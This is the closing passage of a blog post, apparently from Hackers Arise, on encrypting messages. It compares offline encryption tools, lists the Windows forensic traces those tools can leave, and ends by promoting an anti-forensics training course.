Common examples include command-line tools such as GnuPG, OpenSSL, and ccrypt, along with password managers, VeraCrypt, Cryptomator, and a wide range of similar utilities. These tools are often used not only for text messages but also for file encryption, container protection, and secure storage.

Offline tools have an advantage because they reduce the number of outside systems involved in the process. You are not dependent on a remote website staying available, and you do not need to trust a third-party server with your content or password. For many users, that is a better model from a privacy perspective. At the same time, it is important to understand that privacy tools still leave traces. On a Windows system, a digital forensics investigator may be able to see installation artifacts, program execution history, registry keys, recent files, shortcut files, jump lists, user activity traces, prefetch data and remnants of encrypted containers or text editors. Even when the content itself remains protected, the fact that you used a particular application may still be visible in the system’s history.

That is why privacy-conscious users often prefer systems that are designed to leave fewer traces by default. A privacy-oriented operating system, live environment, or hardened Linux distribution can be a better choice when your goal is to reduce unnecessary local exposure. 

Summary

Encrypting messages is a simple and useful privacy skill. Whether you use a browser-based tool or you prefer offline software the basic principle is the same. 

The right tool depends on the situation. Browser-based tools are convenient and fast. Offline tools give you more independence and more control. Some systems are designed for strong cryptography, while others are only suitable for demonstration or deceptive use. Understanding the difference matters.

If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, our Anti-Forensics training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.

The post Anti-Forensics: How to Encrypt Messages in Any Messenger or Social Network first appeared on Hackers Arise.